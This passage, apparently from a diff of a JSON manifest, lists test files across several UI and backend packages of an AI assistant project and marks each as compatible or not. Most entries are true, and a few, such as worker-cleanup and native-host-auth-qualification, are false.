"packages/ui-backend-claude/tests/profiles.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/provider-denied-memory.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/provider-history-apify.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/provider-history.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/provider-request-shape.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/provider-tool-prefix.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/read-attachment.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/replayed-user-text.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/retained-policy.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/rtk-warning.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/runtime-probe.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/runtime-report.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-mcp.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-snapshot.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/sdk-options-units.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/session-prompt.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/session-request-shape.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/shell-startup.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/stable-roster-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/stable-roster.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/startup-observer.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/state-room-sdk-hook.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/state-room-warning.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/stream-adapter.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/subscription-billing.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/subscription-gate.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/subscription.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/taint-note.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/terminal-cancellation.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/title-usage.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/tool-execution-evidence.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive-event-loop.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive-lifecycle.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/transcript-archive.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/transcript-prefix.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/turn-claim.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/turn-units.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/version-requirements.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/voice-posture-selection.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/voice-posture.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-cleanup.test.ts":{"compatible":false}, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-exhaustion.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-failure.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-rtk.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-save-refused.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-state-budget.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-state.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker-stdio-release.test.ts":{"compatible":true}, + "packages/ui-backend-claude/tests/worker.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/api-failure.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/ask-user-brief.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/auth.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/autonomous-envelope.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/autonomous-provider-masks.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/autonomous-yield.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/backend-contract.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/backend.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-access-half-lives.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-context-scope.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-context.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-graph.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-read-many.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-read.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-search-dates.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-search.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/brain-update-bytes.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/catalog-models.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/characterization-history.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/characterization-stream-usage.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/completed-response-usage.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/concurrency.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/confirm-bash.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/direct-application-replay.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/duplicate-acquisition.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/effort.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/event-mapping.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/exec-wrapper.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/extension-inspection.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/github-tools-brief.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/github-tools.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/grant-surface-posture.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/helpers.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/history.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/host-relay.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/index-query-adapters.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/index-query-tools.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/maintenance-module-plumbing.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/module.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/native-acquisition-cancellation.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/native-history-removal.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/native-host-auth-qualification.test.ts":{"compatible":false}, + "packages/ui-backend-pi/tests/native-session-versions.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/outward-actions.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/overview-discovery.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/policy-commands.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/policy-membership.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/provider-history-apify.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/provider-history.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/read-attachment.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/read-base-worker.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/replayed-user-text.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/rtk-warning.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/session-prompt.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/session-storage.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/stable-roster-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/stable-roster.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/startup-runtime.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/startup-timing.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/subprocess-env.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/tool-execution-evidence.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/tool-factories.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/tool-roster-snapshot.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/tools-permission.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/transcript-prefix.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/update-archive-relevance.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/version-requirements.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/web-credential-guard.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/web-executor-egress.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/web-executor.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/web-model-scope.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/web-tools.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-cli-path.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-host-exec.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-rpc.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-session-units.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-session.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-snapshot.test.ts":{"compatible":true}, + "packages/ui-backend-pi/tests/worker-stdio-release.test.ts":{"compatible":true}, + "packages/ui-kit/tests/agentorbit-placement.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/agentorbit-state.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/brand-assets.test.ts":{"compatible":true}, + "packages/ui-kit/tests/brand-mark.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/brand-rasters.test.ts":{"compatible":true}, + "packages/ui-kit/tests/canvas-palette.test.ts":{"compatible":true}, + "packages/ui-kit/tests/composer-attach-tip.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/composer-mic-control-toggle.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/composer-mic-control.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/composer-mic.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/composer-sizing.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/composer-status.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/contrast-colors.test.ts":{"compatible":true}, + "packages/ui-kit/tests/contrast.test.ts":{"compatible":true}, + "packages/ui-kit/tests/empty-state-meta.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/fixtures.test.ts":{"compatible":true}, + "packages/ui-kit/tests/geo-closure-probes.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/geo-fixtures.test.ts":{"compatible":true}, + "packages/ui-kit/tests/ghost-text.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/github-draft-body.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/github-neutral-states.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/hygiene-card-copy.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/icon-map.test.ts":{"compatible":true}, + "packages/ui-kit/tests/inert-outside.test.ts":{"compatible":true}, + "packages/ui-kit/tests/layers.test.ts":{"compatible":true}, + "packages/ui-kit/tests/library.test.ts":{"compatible":true}, + "packages/ui-kit/tests/light-theme.test.ts":{"compatible":true}, + "packages/ui-kit/tests/link-card.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/links.test.ts":{"compatible":true}, + "packages/ui-kit/tests/mapview-projection.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/markup.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/overlay-stack.test.ts":{"compatible":true}, + "packages/ui-kit/tests/overlay.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/pending-follow-ups.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/place-map.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/print-theme.test.ts":{"compatible":true}, + "packages/ui-kit/tests/recording-row.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/screens-are-assembly.test.ts":{"compatible":true}, + "packages/ui-kit/tests/session-strip.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/spoken-turn-details.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/status-indicator.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/theme-tokens.test.ts":{"compatible":true}, + "packages/ui-kit/tests/tokens-match-theme.test.ts":{"compatible":true}, + "packages/ui-kit/tests/tone-cue-blocks.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/tone-cue.test.ts":{"compatible":true}, + "packages/ui-kit/tests/tracker-pills.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/transcript-qualifiers.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/undeclared-tokens.test.ts":{"compatible":true}, + "packages/ui-kit/tests/untrusted-text.test.tsx":{"compatible":true}, + "packages/ui-kit/tests/voice-contrast.test.ts":{"compatible":true}, + "packages/ui-react/tests/activity-report.test.ts":{"compatible":true}, + "packages/ui-react/tests/activity-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/answer-delivery-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/answer-delivery.test.ts":{"compatible":true}, + "packages/ui-react/tests/api-client-sync.test.ts":{"compatible":true}, + "packages/ui-react/tests/api-client.test.ts":{"compatible":true}, + "packages/ui-react/tests/api-instances.test.ts":{"compatible":true}, + "packages/ui-react/tests/apify-presentation.test.ts":{"compatible":true}, + "packages/ui-react/tests/approval-recovery-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/artifact-recovery-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/artifact-recovery.test.ts":{"compatible":true}, + "packages/ui-react/tests/asr-deepgram.test.ts":{"compatible":true}, + "packages/ui-react/tests/asr-gemini.test.ts":{"compatible":true}, + "packages/ui-react/tests/association-signout-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/attachment-queue.test.ts":{"compatible":true}, + "packages/ui-react/tests/attachment-read-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/attachment-reads.test.ts":{"compatible":true}, + "packages/ui-react/tests/audio-fixtures.test.ts":{"compatible":true}, + "packages/ui-react/tests/auth-expiry-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/auth-lock.test.ts":{"compatible":true}, + "packages/ui-react/tests/block-card-cleanup-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/bound-renderers.test.ts":{"compatible":true}, + "packages/ui-react/tests/browser-rejection-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-focus-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-slices.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-approval-recovery.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-ask-dedup.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-ask-user.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-blocks.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-edge-cases.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-history.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store-typed.test.ts":{"compatible":true}, + "packages/ui-react/tests/chat-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/client-environment.test.ts":{"compatible":true}, + "packages/ui-react/tests/client-turn-clock.test.ts":{"compatible":true}, + "packages/ui-react/tests/connection-continuity-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/connection-refusals.test.ts":{"compatible":true}, + "packages/ui-react/tests/connection-state.test.ts":{"compatible":true}, + "packages/ui-react/tests/connection-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/content-renderer-bundling.test.ts":{"compatible":true}, + "packages/ui-react/tests/content-renderer-share.test.ts":{"compatible":true}, + "packages/ui-react/tests/conversation-recovery.test.ts":{"compatible":true}, + "packages/ui-react/tests/copy-button-css.test.ts":{"compatible":true}, + "packages/ui-react/tests/delta-batching.test.ts":{"compatible":true}, + "packages/ui-react/tests/destination-press.test.tsx":{"compatible":true}, + "packages/ui-react/tests/dialogue-lifetime.test.ts":{"compatible":true}, + "packages/ui-react/tests/dictation-selection-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/diff.test.ts":{"compatible":true}, + "packages/ui-react/tests/digest-summary-actions.test.tsx":{"compatible":true}, + "packages/ui-react/tests/discovery-bands.test.ts":{"compatible":true}, + "packages/ui-react/tests/discovery-expansion.test.ts":{"compatible":true}, + "packages/ui-react/tests/discovery-notice.test.ts":{"compatible":true}, + "packages/ui-react/tests/discovery-query-bounds.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-client.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-files.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-indicator.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-snapshots.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/draft-tracks.test.ts":{"compatible":true}, + "packages/ui-react/tests/encoded-duration.test.ts":{"compatible":true}, + "packages/ui-react/tests/ended-question-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/expired-scratch-links.test.tsx":{"compatible":true}, + "packages/ui-react/tests/external-speech-conformance.test.ts":{"compatible":true}, + "packages/ui-react/tests/external-speech-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/file-link-detection.test.ts":{"compatible":true}, + "packages/ui-react/tests/file-request-ownership.test.ts":{"compatible":true}, + "packages/ui-react/tests/file-viewer-binary-fallback.test.tsx":{"compatible":true}, + "packages/ui-react/tests/file-viewer-binary.test.tsx":{"compatible":true}, + "packages/ui-react/tests/follow-up-queue.test.ts":{"compatible":true}, + "packages/ui-react/tests/frontmatter.test.ts":{"compatible":true}, + "packages/ui-react/tests/github-details.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-core-unavailable.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-helpers.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-layout.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-node-size-scale.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-separation.test.ts":{"compatible":true}, + "packages/ui-react/tests/graph-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/haiku-model-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/handoff-entry.test.ts":{"compatible":true}, + "packages/ui-react/tests/handoff-lib.test.ts":{"compatible":true}, + "packages/ui-react/tests/html-preview-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/image-mask-renderer.test.ts":{"compatible":true}, + "packages/ui-react/tests/image-optimize.test.ts":{"compatible":true}, + "packages/ui-react/tests/image-source.test.ts":{"compatible":true}, + "packages/ui-react/tests/inbox-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/lazy-chunk.test.ts":{"compatible":true}, + "packages/ui-react/tests/light-dark.test.ts":{"compatible":true}, + "packages/ui-react/tests/live-service-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/liveness-clock.test.ts":{"compatible":true}, + "packages/ui-react/tests/local-work-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/location-card.test.ts":{"compatible":true}, + "packages/ui-react/tests/map-block.test.ts":{"compatible":true}, + "packages/ui-react/tests/markdown-blocks.test.tsx":{"compatible":true}, + "packages/ui-react/tests/markdown-range.test.ts":{"compatible":true}, + "packages/ui-react/tests/media-root.test.ts":{"compatible":true}, + "packages/ui-react/tests/mermaid-content-renderer.test.ts":{"compatible":true}, + "packages/ui-react/tests/mermaid-export.test.ts":{"compatible":true}, + "packages/ui-react/tests/mermaid-fences.test.ts":{"compatible":true}, + "packages/ui-react/tests/models-billing.test.ts":{"compatible":true}, + "packages/ui-react/tests/notification-zone.test.tsx":{"compatible":true}, + "packages/ui-react/tests/overlay-sites.test.ts":{"compatible":true}, + "packages/ui-react/tests/parallel-sessions-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/passkey-login-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/passkeys.test.ts":{"compatible":true}, + "packages/ui-react/tests/pdf-loader.test.ts":{"compatible":true}, + "packages/ui-react/tests/pdf-preview.test.tsx":{"compatible":true}, + "packages/ui-react/tests/pdf-real-library.test.ts":{"compatible":true}, + "packages/ui-react/tests/persona-settings-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/prose-links.test.tsx":{"compatible":true}, + "packages/ui-react/tests/provider-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/reconnect-reattach.test.ts":{"compatible":true}, + "packages/ui-react/tests/recording-transcription.test.ts":{"compatible":true}, + "packages/ui-react/tests/registration-on-mount.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render-entity-tags.test.ts":{"compatible":true}, + "packages/ui-react/tests/render-smoke-cleanup-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/render/activity-report.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/answer-delivery.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/answer-suggestions.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/approval-effect.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/ask-user-form.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/ask-user-list.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/ask-user-rank.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/ask-user.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/block-card.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/classified-blocks.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/composer.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/copy-control.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/desktop-panes-sixth.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/dictation-provider-end.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/dictation-selection.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/dictation-settings-save.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/dictation-teardown.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/durable-actions.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/ended-question.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/error-card.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/github-tools.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/handoff-entry.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/handoff.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/image-markup.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/message-source.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/persona-settings.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/render-smoke.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/renderer-bundling.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/restored-approval.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/slide-panel.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/staged-tracks-unload.test.ts":{"compatible":true}, + "packages/ui-react/tests/render/stats-answer.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/stats-session.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/streaming-markdown.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/turn-failure.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/turn-timing.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/update-holds.test.tsx":{"compatible":true}, + "packages/ui-react/tests/render/worker-host-notice.test.tsx":{"compatible":true}, + "packages/ui-react/tests/restored-approval-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/retry-turn.test.ts":{"compatible":true}, + "packages/ui-react/tests/risk-hints.test.ts":{"compatible":true}, + "packages/ui-react/tests/root-isolation.test.ts":{"compatible":true}, + "packages/ui-react/tests/runtime-hook-phases.test.ts":{"compatible":true}, + "packages/ui-react/tests/safety-client.test.ts":{"compatible":true}, + "packages/ui-react/tests/safety-evidence.test.ts":{"compatible":true}, + "packages/ui-react/tests/safety-reviewer.test.ts":{"compatible":true}, + "packages/ui-react/tests/scratch-link.test.ts":{"compatible":true}, + "packages/ui-react/tests/scratch-links-render.test.tsx":{"compatible":true}, + "packages/ui-react/tests/scratch-links-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/search-results.test.ts":{"compatible":true}, + "packages/ui-react/tests/search-snippet.test.ts":{"compatible":true}, + "packages/ui-react/tests/session-demux.test.ts":{"compatible":true}, + "packages/ui-react/tests/session-restoration.test.ts":{"compatible":true}, + "packages/ui-react/tests/share-document.test.tsx":{"compatible":true}, + "packages/ui-react/tests/share-draft-compatibility.test.ts":{"compatible":true}, + "packages/ui-react/tests/share-draft-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/share-intake.test.ts":{"compatible":true}, + "packages/ui-react/tests/shell-stores.test.tsx":{"compatible":true}, + "packages/ui-react/tests/soft-keyboard.test.tsx":{"compatible":true}, + "packages/ui-react/tests/software.test.ts":{"compatible":true}, + "packages/ui-react/tests/span-bits.test.ts":{"compatible":true}, + "packages/ui-react/tests/speech-builtins-conformance.test.ts":{"compatible":true}, + "packages/ui-react/tests/ssr-import-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/start-card-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/stats-answer.test.ts":{"compatible":true}, + "packages/ui-react/tests/store-races.test.ts":{"compatible":true}, + "packages/ui-react/tests/stream-link-hold.test.ts":{"compatible":true}, + "packages/ui-react/tests/theme-neutral.test.ts":{"compatible":true}, + "packages/ui-react/tests/tool-renderers.test.ts":{"compatible":true}, + "packages/ui-react/tests/tool-views.test.ts":{"compatible":true}, + "packages/ui-react/tests/track-display.test.tsx":{"compatible":true}, + "packages/ui-react/tests/track-drafts.test.ts":{"compatible":true}, + "packages/ui-react/tests/track-uploads.test.ts":{"compatible":true}, + "packages/ui-react/tests/tracker-announcer.test.ts":{"compatible":true}, + "packages/ui-react/tests/tracker-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/tracker-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/trackers.test.ts":{"compatible":true}, + "packages/ui-react/tests/transcript-timeline.test.ts":{"compatible":true}, + "packages/ui-react/tests/turn-journal-count.test.ts":{"compatible":true}, + "packages/ui-react/tests/turn-journal-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/ui-store.test.ts":{"compatible":true}, + "packages/ui-react/tests/untrusted-marks-runtime.test.ts":{"compatible":true}, + "packages/ui-react/tests/wikilink-resolver.test.ts":{"compatible":true}, + "packages/ui-react/tests/ws-client-lifecycle.test.ts":{"compatible":true}, + "packages/ui-render-puppeteer/tests/crash-recovery.test.ts":{"compatible":true}, + "packages/ui-render-puppeteer/tests/phase-budgets.test.ts":{"compatible":true}, + "packages/ui-render-puppeteer/tests/png-bounds.runtime.test.ts":{"compatible":true}, + "packages/ui-render-puppeteer/tests/renderer.test.ts":{"compatible":true}, + "packages/ui-render-puppeteer/tests/runtime.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/activity-schemas.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/ask-user-form.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/ask-user-list.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/ask-user-rank.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/backend-conformance.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/backend-cost-conformance.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/backend-toolkit.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/boot-prune-capture.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/brain-read-base.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/bridge-tools.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/classification-catalogue.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/classification-detect.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/client-environment.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/client-turn-receipt.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/coastline.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/confirm-pattern-effects.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/containment-rows.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/content-renderer-presence.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/content-renderers.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/conversation-schemas.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/credential-exclusion.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/db-repeat-observation.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/default-identity-phases.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/device-unknown-prompt.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/drafts-protocol.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-charge-reasons.test.ts":{"compatible":true}, + "packages/ui-sdk/tests/egress-destinations.test.ts":{"compatible":true}, + 